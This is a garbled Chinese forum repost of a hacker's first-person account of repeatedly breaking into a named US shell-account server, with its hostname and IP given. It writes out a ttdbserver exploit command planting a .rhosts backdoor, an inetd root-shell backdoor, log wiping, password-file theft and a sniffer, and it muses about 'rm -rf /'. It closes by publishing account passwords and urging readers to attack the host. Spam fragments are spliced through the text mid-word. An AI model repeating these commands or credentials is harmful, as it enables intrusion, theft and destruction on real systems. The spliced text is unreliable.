安全–到底是該由實戰來檢修呢？仍是由口水來檢修？這個問題對付某些人來說，確鑿可以爭執得上或大清時尚者幾百年。俺可沒有這個閑功夫，拿這些時光往進步一下本身的手藝還好些。 可以如許說：假如沒有昔時Morris在UNIX的下的WORM，生怕明天的各類病毒以及與WORM殊途同歸、以耗費體系資本入而拖垮體系辦事的DoS進犯等都不知要比及幾多年合輝達觀後來能力泛起；同樣，假如沒有昔時的Finger進犯哪能引出明天那麼多的Remote Exploits?縣府豪門 總之，機算機的安全生怕還會逗留在其時UNIX的那種login治理，drwxrwxrwx和體系入程空間用戶入程空間相得益彰–越界就Core Dumped狀況。 母親呀，這種安全機制，經由支付不菲的價錢後，明天望來是多麼的懦弱。 喜歡做馬謖的人啊，請不要那麼自認為是。興許就有那麼一天，當你的體系被天母之星搞垮失的時辰，你就等候著不只僅是全部人對你的冷笑吧！
好瞭，言回正題。 以下是俺經過的事況過的一個美國站點，至於體系治理員，俺隻能用“可愛”來形容。 io.jtan.com 207.106.84.135 那是往年11月尾的事。一個無意偶爾的機遇，給俺掃到瞭這個地址，當然其時不是這個IP，給俺攪活瞭一陣，之後換成這個。 用rpcinfo一望，呵呵，還開瞭不懷石尊邸少RPC daemons, 乖乖，有這個機遇俺可不克不及不試一下–其時正對美國佬炸館義忿填膺的時辰，狗日的. 找一個老的Remote Exploit, 就ttdbserver(100083)吧，找個臺灣的SUNOS機子做跳板，編譯後 $./ttdb 207.106.84.135 &太子假期quot;echo "+ +">/usr/.rhosts;" 呵呵，居然進犯勝利！ 望到這，假如你不往他們的 www日光苑.jtan.com 上望還好，望事後，我想你假如是在美國的話，你盡對是不會費錢往用他們的shell站點的。這麼破，哈哈！”，還敢吹他們的shell帳號辦事是安全的，也魯漢雖然看不到玲妃悲傷的臉，但玲妃哽咽的聲音還是那句話刺痛了他的心臟。真厚。@#$%^！ 我是不會用 $rlogin -l bin 207.106.84.135 下來的。 仍是上面的省事 $./ttdb 207.106.84.135 "echo "ingreslock stream tcp nowait root /bin/sh sh -i" &g“怎麼樣？”韓抬頭看著冷玲妃萬元。t; /tmp/.x米蘭之星(NO3); /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x;" 然後 $telnet 207.106.84.135 1524 #w 有root 簡樸清掃一下， #rm /core; #cp /dev/null /v立和名園ar/adm/mess協和星視界ages; #rm /usr/bin/.rhosts; #kill -9 XXXXXX (你的1524端口shell入程號) 抓取passwd, shadow, hosts文件 其時時光已很晚瞭，美國何處是白日，隻好退出。 第二天拿解出的平凡用戶password從正門入進，帝國天廈也是用一個老的local exploit:ufsr內壢之心/幸福大院NO2estore, 居然也拿到瞭root. 清掃完後，不由得裝瞭個sniffer。 第三天下來，拿到瞭十幾個當地用戶的password，和幾個telnet到另外主機的用戶password。有鑒於是貿易站點，美意發瞭個mail給體系治理員(TMD，真是美水明漾意過甚瞭) 我想體系治理員都這德行，好比說你試著用passwordadmin登錄admin帳戶，成果入往瞭。假如中悅高登你美意講演給他的話，那麼你的貧苦也就開端瞭。請置信我，這是定律。 第四天下來，縫隙是補上瞭。過剩的RPC da城市之星emon也關失瞭。 $ls -la /usr/lib/fs/ufs/ufs* 好，讓我再試一下另外local exploit, 記得我有一個放在協弘樂群街14巷華廈備用目次下， 好就運轉它。 $%BACKUP_DIR在壯族工作中，絕對地區的這一典當行鑽石戒指，玉手鍊，品牌手錶等項目，由於這些物品的價格，通常約為原價的一半，所以這些項目/my_ex File not found. ls -la %BACKUP_DIR/my_ex -rwxr-xr-x 23456 my_ex ….. 明明在那裡，怎麼會 not found? 這時我的telnet入程被killed失。 再telnet 207.106.84.135入進，一年夜堆正告垃極 換個跳板再Telnet, 以另一用戶身夢享家(A區)分入進。 cat $BACKUP_DIR/my_exp SHIT! 極品已被換成瞭Shell Scripts, 內在的事務當然是有人運轉該步伐，就把以後的體系狀況講演(EMAIL)給體系治理員！好笑的是前面都用XXX來填滿文件的原有長度。 查望一下該大學校園一期用戶的mail, 有一封居然是體系治理員怎樣怎樣歷害發明外部有人在盜取用戶password，要求用戶換改password。完整袒護瞭體系不安全，被人潛進的實情。對用戶太不賣力瞭。@#$%！，原來俺也就預計不玩瞭，望瞭後來，好！有你如許的體系治理員，俺也樂著跟你逗一下。
接上去直到本年仲春底，是輪替的攻防戰，俺也懊悔跟他太明刀明槍瞭，幾回拿到root後來都自動指明給他，興許是出於道德上的內心停滯，沒有發Broadcasting email告訴他們的用戶。興許是過火的美意，非但沒有叫醒他們對用戶的賣力，反而從另一個角度是害瞭用戶。直到之後，所知的縫隙被他逐一補上。而我的惱怒，也慢慢進級到真想拿到roo綠藝心賞t後，來個 # nohup rm -rf / &瑞御首席amp; 把它給超度失。 跟著難度的進步，加上事業忙，也就不玩瞭近五個月。正人報仇，十年不晚。:) 昨晚忽然血汗潮，再Telnet下來望瞭一下。媽呀！不知在這五個月中，該站點獲咎瞭有一天工作即將結束，雖然不是很忙，但轉瑞的年輕臉還是顯示疲勞的痕跡，可能是結局的原因，還沒有回家一年的家裡芮一些鄉愁。何方神聖，除瞭給人DoS拖慢它的辦事外，還或者是 rm -rf / 過瞭。他們還到FBI報瞭案，但說不克不及指看FBI破案，要靠他們本身來搞定雲雲。興許現實情形比他們在email中所說給用戶聽的更為嚴峻。呵呵！有人競然幫俺超度瞭它，太欠好玩瞭。 俺再用一個本身以為是個很臭的Exploit來弄它一下，我KAO， # 這昱旺CITY是什麼？ 其時腦海裡湧現瞭"rm -rf /"這個可以或許沖刷失我的所有對阿誰體系治理員的惱怒的字符串。興許是曾經五個月瞭，惱怒的頂點曾經已往，興許是斟酌中悅音樂廣場到他曾經獲得瞭應有的責罰。 總之是“心太軟”，我格林公園沒有如許做。 之後，在長昇采居尋覓xferlog的時辰給他追到瞭。本來“他”–興許是雇瞭“妙手”坐鎮，在用戶登錄後運轉的.profile內裡放瞭通知“他”的Shell Script, 這一點可以值得鑒戒。以是每一用戶登錄，大清哈佛“他”城市马上了解。 攻難守易，尤其是在盤算機的安全方面。不知列位是龍騰富御否批准？ 橫豎今晚我再下來的時辰，還被“他”DoS瞭我的跳板站點，telnet特慢。 — 說人傢幹那事，“卿卿”本來也再幹那事。美國佬，真TM虛假無恥！ 以下是該站點的一些材料，工夫可以的伴侶，無妨到那裡實戰一下，盡對是一個很好的練兵場。同時請列位要註意維護好本身。程度欠佳的伴侶萬萬別試。 io.jtan.com 207.106.84.135 SUNOS 5.5.1 N:bet P:b金典風華et N:home P:home N:j安敦翔鳳座o P:tomster .profile 中的 sendmail alert@jtan.com 為發email通知體系治理員 chris $cat /etc/aliases 可以望到各個治理員的ID。 註意：用戶入進後用的是ksh $mail 應當可望到我提到的信。 對該體系有何曾記陽明商業大樓心得，無妨拿到這來交換交換。無利年夜傢的進步。 請註意他們是否領有跟蹤login到跳板機械的手藝。 拿到root後，請別忘瞭告知俺。我想到時，你會質變到要來個“rm -rf /”的。 否則的話，會象俺那麼懊悔。
摘自網上 妖狐安全資訊網
在莫爾伯爵的債務，迫使他不得不自己的財產出售，在跟踪的人將能够利用這個
，絕對是限制級。
人打賞
0
人 點贊
主帖得到的海角分：0
舉報 |
樓主
| 埋紅包